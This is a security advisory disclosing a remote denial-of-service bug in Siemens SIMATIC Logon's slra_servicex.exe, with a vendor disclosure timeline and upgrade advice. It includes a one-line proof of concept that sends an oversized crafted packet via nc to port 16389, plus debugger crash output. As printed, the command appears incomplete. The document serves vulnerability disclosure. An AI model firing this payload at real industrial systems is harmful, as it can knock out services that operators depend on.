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[R1] Siemens SIMATIC Logon Denial of Service



While investigating CVE-2017-2684 we found a new unauthenticated remote denial of service vulnerability in slra_servicex.exe. The denial of service occurs due to an out of bounds write in a logging function. In the function, a 508 byte storage buffer is passed to vswprintf_s along with user provided data. Sufficiently large input will trigger the vulnerability.

The following can be used as a proof of concept.

[[email protected] inp]$ python -c "print '\x00\x54\x4c\x53\x00\x00\x00\x01''\x00'*48'\x00\x00\x00\x01\x00\x00\x04\x00'+'A'*0x408" | tr -d '\n' | nc 16389

The proof of concept will generate the following error.

0:002> .lastevent
Last event: d1c.33c: Exit thread 2:33c, code c0000417
debugger time: Tue Feb 28 13:28:10.802 2017 (UTC - 5:00)
0:002> !error c0000417
Error code: (NTSTATUS) 0xc0000417 (3221226519) - An invalid parameter was passed to a C runtime function.


Upgrade to SIMATIC Logon 1.6 or newer

Disclosure Timeline

2017-03-07 - Issue discovered
2017-03-17 - Issue reported to vendor via [email protected]
2017-03-20 - Vendor acks, assigns S-PCERT#80092 for tracking
2017-03-29 - Vendor says they can reproduce our findings, working on mitigation and timeline
2017-04-24 - Vendor says Dev working on a fix, will keep us updated
2017-07-06 - Siemens releases advisory
2017-07-11 - ICS-Cert releases advisory

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